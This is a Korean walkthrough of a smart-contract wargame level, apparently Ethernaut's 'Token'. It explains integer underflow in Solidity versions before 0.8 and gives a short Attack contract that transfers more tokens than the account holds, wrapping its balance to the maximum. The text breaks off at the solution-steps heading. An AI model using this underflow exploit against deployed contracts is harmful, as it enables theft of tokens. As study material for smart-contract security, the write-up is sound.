1. 문제

token를 최대 개수로 만들어라
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

2. Underflow 란?

Solidity에서 uint는 0과 양수값만을 가질 수 없습니다.

그런데 여기서 0에서 1을 빼면 음수가 되는데 uint는 음수가 될 수 없기 때문에, 이를 **2^256 - 1로 순환(wrap around)**시켜 가장 큰 값으로 바꿔버린다.

위와 같은 연산이 발생했을 때, Solidity 0.8.0 미만 버전에서는 오류 없이 매우 큰 수로 바뀌는 underflow 현상이 발생합니다. → 0.8.0 이상 버전에서는 underflow, overflow 가 일어날 경우 에러를 발생시킨다

3. 코드 분석

function transfer(address _to, uint256 _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}

msg.sender에는 _value만큼 뺴고, _to 에는 _value만큼 더하는 간단한 코드다 이 코드를 이용하여 특정 address의 값을 뺄 수 있을 것 같다.

4. Attack.sol

pragma solidity ^0.6.0;

import "./Token.sol";

contract Attack {
    address public tokenAddress;

    constructor(address _tokenAddress) public {
        tokenAddress = _tokenAddress;
    }

    function attack(address _to) public {
        Token token = Token(tokenAddress);
        token.transfer(_to, 21);
    }
}

현재 가지고 있는 토큰의 개수가 20개이고 balances 변수가 uint로 선언되어 있으므로 transfer() 함수를 이용해 21을 빼주면 underflow 가 일어나 토큰의 개수가 최대값이 되는 것을 이용

5. 문제 풀이

문제 풀이 순서